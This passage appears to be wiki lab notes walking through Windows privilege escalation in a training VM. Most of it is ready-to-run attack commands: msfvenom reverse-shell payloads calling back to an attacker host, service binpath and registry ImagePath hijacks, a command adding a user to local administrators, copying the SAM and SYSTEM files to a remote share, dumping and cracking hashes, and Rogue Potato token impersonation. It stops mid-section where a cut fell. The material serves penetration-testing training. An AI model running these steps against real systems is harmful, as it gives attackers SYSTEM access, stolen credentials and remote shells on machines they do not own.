&lt;br /&gt;
We will have to stop and start the dllsvc service again using the command below:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sc stop dllsvc &amp;amp; sc start dllsvc&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-73.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Unquoted Service Path =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
When a service starts in Windows, the operating system has to find and run an executable file. For example, you will see in the terminal output below that the &amp;quot;&amp;#039;&amp;#039;&amp;#039;netlogon&amp;#039;&amp;#039;&amp;#039;&amp;quot; service (responsible for authenticating users in the domain) is, in fact, referring to the&amp;#039;&amp;#039;&amp;#039; C:\Windows\system32\lsass.exe&amp;#039;&amp;#039;&amp;#039; binary. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Netlogon and its binary&lt;br /&gt;
C:\Users\user&amp;gt;sc qc netlogon&lt;br /&gt;
[SC] QueryServiceConfig SUCCESS&lt;br /&gt;
&lt;br /&gt;
SERVICE_NAME: netlogon&lt;br /&gt;
        TYPE               : 20  WIN32_SHARE_PROCESS&lt;br /&gt;
        START_TYPE         : 3   DEMAND_START&lt;br /&gt;
        ERROR_CONTROL      : 1   NORMAL&lt;br /&gt;
        BINARY_PATH_NAME   : C:\Windows\system32\lsass.exe&lt;br /&gt;
        LOAD_ORDER_GROUP   : MS_WindowsRemoteValidation&lt;br /&gt;
        TAG                : 0&lt;br /&gt;
        DISPLAY_NAME       : Netlogon&lt;br /&gt;
        DEPENDENCIES       : LanmanWorkstation&lt;br /&gt;
        SERVICE_START_NAME : LocalSystem&lt;br /&gt;
&lt;br /&gt;
C:\Users\user&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the example above:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* &amp;#039;&amp;#039;&amp;#039;Service &amp;#039;&amp;#039;&amp;#039;in launched, windows follow a search order similar to above notes.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Windows approach: if the path is written between &amp;#039;&amp;#039;&amp;#039;quotes&amp;#039;&amp;#039;&amp;#039;, Windows will directly go to the correct location and launch &amp;#039;&amp;#039;&amp;#039;service.exe&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* If path is &amp;#039;&amp;#039;&amp;#039;not &amp;#039;&amp;#039;&amp;#039;written between quotes and if any folder name in the path has a space in its name things get complicated.  Windows will append &amp;quot;&amp;#039;&amp;#039;&amp;#039;.exe&amp;quot;&amp;#039;&amp;#039;&amp;#039; and start looking for an executable, starting with the shortest possible path. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In our example, this would be&amp;#039;&amp;#039;&amp;#039; C:\Program.exe&amp;#039;&amp;#039;&amp;#039;. If &amp;#039;&amp;#039;&amp;#039;program.exe&amp;#039;&amp;#039;&amp;#039; is not available, the second attempt will be to run &amp;#039;&amp;#039;&amp;#039;topservice.exe&amp;#039;&amp;#039;&amp;#039; under &amp;#039;&amp;#039;&amp;#039;C:\Program Files\&amp;#039;&amp;#039;&amp;#039;. If this also fails, another attempt will be made for &amp;#039;&amp;#039;&amp;#039;C:\Program Files\topservice folder\subservice.exe&amp;#039;&amp;#039;&amp;#039;. This process repeats until the executable is found. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Knowing this, if we can place an executable in a location we know the service is looking for one, it may be run by the service. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Finding Unquoted Service Path Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tools like &amp;#039;&amp;#039;&amp;#039;winPEAS &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;PowerUp.ps1 &amp;#039;&amp;#039;&amp;#039;will usually detect &amp;#039;&amp;#039;&amp;#039;unquoted service paths&amp;#039;&amp;#039;&amp;#039;. But we will need to make sure other requirements to exploit the vulnerability are filled. These are;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Being able to write to a folder on the path&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Being able to restart the service&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The command below will list services running on the target system. The result will also print out other information, such as the display name and path. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
wmic service get name,displayname,pathname,startmode&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going over the output of this command on the target machine, you will notice that the &amp;quot;unquotedsvc&amp;quot; service has a path that is not written between quotes. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You can further check the binary path of this service using the command below: &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sc qc unquotedsvc&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can use accesschk.exe with the command below to check for our privileges.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
.\accesschk64.exe /accepteula -uwdq &amp;quot;C:\Program Files\&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
We can use msfvenom (on the AttackBox) to generate an executable. The command below will wrap Meterpreter in an executable file. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=[KALI or AttackBox IP Address] LPORT=[The Port to which the reverse shell will connect] -f exe &amp;gt; executable_name.exe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now either start a &amp;#039;&amp;#039;&amp;#039;/multi/handler&amp;#039;&amp;#039;&amp;#039; or a &amp;#039;&amp;#039;&amp;#039;netcat &amp;#039;&amp;#039;&amp;#039;listener on your attacking machine.&lt;br /&gt;
Once you have generated and moved the file to the correct location on the target machine, you will need to restart the vulnerable service.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You can use the &amp;lt;code&amp;gt;&amp;#039;&amp;#039;&amp;#039;sc start unquotedsvc&amp;#039;&amp;#039;&amp;#039;&amp;lt;/code&amp;gt; command to start the service. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Service exploits - Unquoted Service Path (2) ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Query the &amp;quot;unquotedsvc&amp;quot; service and note that it runs with SYSTEM privileges (SERVICE_START_NAME) and that the BINARY_PATH_NAME is unquoted and contains spaces.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sc qc unquotedsvc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using accesschk.exe, note that the BUILTIN\Users group is allowed to write to the C:\Program Files\Unquoted Path Service\ directory:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\PrivEsc\accesschk.exe /accepteula -uwdq &amp;quot;C:\Program Files\Unquoted Path Service\&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Copy the reverse.exe executable you created to this directory and rename it Common.exe:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
copy C:\PrivEsc\reverse.exe &amp;quot;C:\Program Files\Unquoted Path Service\Common.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net start unquotedsvc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Service exploits - Insecure Service permissions =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Use accesschk.exe to check the &amp;quot;user&amp;quot; account&amp;#039;s permissions on the &amp;quot;daclsvc&amp;quot; service:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note that the &amp;quot;user&amp;quot; account has the permission to change the service config (SERVICE_CHANGE_CONFIG).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Query the service and note that it runs with SYSTEM privileges (SERVICE_START_NAME):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sc qc daclsvc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modify the service config and set the BINARY_PATH_NAME (binpath) to the reverse.exe executable you created:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sc config daclsvc binpath= &amp;quot;\&amp;quot;C:\PrivEsc\reverse.exe\&amp;quot;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net start daclsvc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Service Exploits - Insecure Service permissions 2 =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If there is a service with insecure service permission you can enable it and add your user to local administratos group. You can use PowerUp to check for insecure service permissions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
PowerUp also have a invoke-serviceabuse function.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sc config SNMPTRAP binpath= &amp;quot;cmd.exe /c net localgroup administrators USER /add&amp;quot; start= &amp;quot;demand&amp;quot; obj= &amp;quot;NT AUTHORITY\SYSTEM&amp;quot; password= &amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Now start the service&lt;br /&gt;
sc start SNMPTRAP&lt;br /&gt;
&lt;br /&gt;
# Verify that your user is in the local administrators group&lt;br /&gt;
net localgroup administrators&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Service Exploits - Weak Regisry Permissions =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Query the &amp;quot;regsvc&amp;quot; service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sc qc regsvc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using accesschk.exe, note that the registry entry for the regsvc service is writable by the &amp;quot;NT AUTHORITY\INTERACTIVE&amp;quot; group (essentially all logged-on users):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Overwrite the ImagePath registry key to point to the reverse.exe executable you created:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net start regsvc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Service Exploits - Insecure Service Executables =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Query the &amp;quot;filepermsvc&amp;quot; service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sc qc filepermsvc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using accesschk.exe, note that the service binary (BINARY_PATH_NAME) file is writable by everyone:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\PrivEsc\accesschk.exe /accepteula -quvw &amp;quot;C:\Program Files\File Permissions Service\filepermservice.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Copy the reverse.exe executable you created and replace the filepermservice.exe with it:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
copy C:\PrivEsc\reverse.exe &amp;quot;C:\Program Files\File Permissions Service\filepermservice.exe&amp;quot; /Y&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net start filepermsvc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Registry - AutoRun =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Query the registry for AutoRun executables:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using accesschk.exe, note that one of the AutoRun executables is writable by everyone:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\PrivEsc\accesschk.exe /accepteula -wvu &amp;quot;C:\Program Files\Autorun Program\program.exe&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Copy the reverse.exe executable you created and overwrite the AutoRun executable with it:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
copy C:\PrivEsc\reverse.exe &amp;quot;C:\Program Files\Autorun Program\program.exe&amp;quot; /Y&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a listener on Kali and then restart the Windows VM. Open up a new RDP session to trigger a reverse shell running with admin privileges. You should not have to authenticate to trigger it, however if the payload does not fire, log in as an admin (admin/password123) to trigger it. Note that in a real world engagement, you would have to wait for an administrator to log in themselves!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rdesktop MACHINE_IP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Registry - AlwaysInstallElevated =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Query the registry for AlwaysInstallElevated keys:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note that both keys are set to 1 (0x1).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On Kali, generate a reverse shell Windows Installer (reverse.msi) using msfvenom. Update the LHOST IP address accordingly:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Transfer the reverse.msi file to the C:\PrivEsc directory on Windows (use the SMB server method from earlier).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a listener on Kali and then run the installer to trigger a reverse shell running with SYSTEM privileges:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Passwords - Registry =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The registry can be searched for keys and values that contain the word &amp;quot;password&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query HKLM /f password /t REG_SZ /s&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you want to save some time, query this specific key to find admin AutoLogon credentials:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query &amp;quot;HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On Kali, use the winexe command to spawn a command prompt running with the admin privileges (update the password with the one you found):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
winexe -U &amp;#039;admin%password&amp;#039; //MACHINE_IP cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Passwords - Saved Creds =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
List any saved credentials:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cmdkey /list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note that credentials for the &amp;quot;admin&amp;quot; user are saved. If they aren&amp;#039;t, run the C:\PrivEsc\savecred.bat script to refresh the saved credentials.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a listener on Kali and run the reverse.exe executable using runas with the admin user&amp;#039;s saved credentials:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
runas /savecred /user:admin C:\PrivEsc\reverse.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Passwords - Security Account Manager (SAM) =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The SAM and SYSTEM files can be used to extract user password hashes. This VM has insecurely stored backups of the SAM and SYSTEM files in the C:\Windows\Repair\ directory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Transfer the SAM and SYSTEM files to your Kali VM:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
copy C:\Windows\Repair\SAM \\10.10.10.10\kali\copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On Kali, clone the creddump7 repository (the one on Kali is outdated and will not dump hashes correctly for Windows 10!) and use it to dump out the hashes from the SAM and SYSTEM files:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/Tib3rius/creddump7pip3 install pycryptopython3 creddump7/pwdump.py SYSTEM SAM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Crack the admin NTLM hash using hashcat:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hashcat -m 1000 --force  /usr/share/wordlists/rockyou.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
You can use the cracked password to log in as the admin using winexe or RDP.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Scheduled Tasks =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
View the contents of the C:\DevTools\CleanUp.ps1 script:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
type C:\DevTools\CleanUp.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The script seems to be running as SYSTEM every minute. Using accesschk.exe, note that you have the ability to write to this file:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a listener on Kali and then append a line to the C:\DevTools\CleanUp.ps1 which runs the reverse.exe executable you created:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo C:\PrivEsc\reverse.exe &amp;gt;&amp;gt; C:\DevTools\CleanUp.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Wait for the Scheduled Task to run, which should trigger the reverse shell as SYSTEM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Insecure GUI Apps =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start an RDP session as the &amp;quot;user&amp;quot; account:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rdesktop -u user -p password321 MACHINE_IP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Double-click the &amp;quot;AdminPaint&amp;quot; shortcut on your Desktop. Once it is running, open a command prompt and note that Paint is running with admin privileges:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
tasklist /V | findstr mspaint.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In Paint, click &amp;quot;File&amp;quot; and then &amp;quot;Open&amp;quot;. In the open file dialog box, click in the navigation input and paste: file://c:/windows/system32/cmd.exe&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Press Enter to spawn a command prompt running with admin privileges.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Startup Apps =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using accesschk.exe, note that the BUILTIN\Users group can write files to the StartUp directory:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\PrivEsc\accesschk.exe /accepteula -d &amp;quot;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using cscript, run the C:\PrivEsc\CreateShortcut.vbs script which should create a new shortcut to your reverse.exe executable in the StartUp directory:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cscript C:\PrivEsc\CreateShortcut.vbs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a listener on Kali, and then simulate an admin logon using RDP and the credentials you previously extracted:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rdesktop -u admin MACHINE_IP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A shell running as admin should connect back to your listener.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Token Impersonation - Rogue Potato =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Set up a socat redirector on Kali, forwarding Kali port 135 to port 9999 on Windows:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo socat tcp-listen:135,reuseaddr,fork tcp:MACHINE_IP:9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -&amp;gt; run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the &amp;quot;local service&amp;quot; account:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\PrivEsc\PSExec64.exe -i -u &amp;quot;nt authority\local service&amp;quot; C:\PrivEsc\reverse.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start another listener on Kali.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, in the &amp;quot;local service&amp;quot; reverse shell you triggered, run the RoguePotato exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
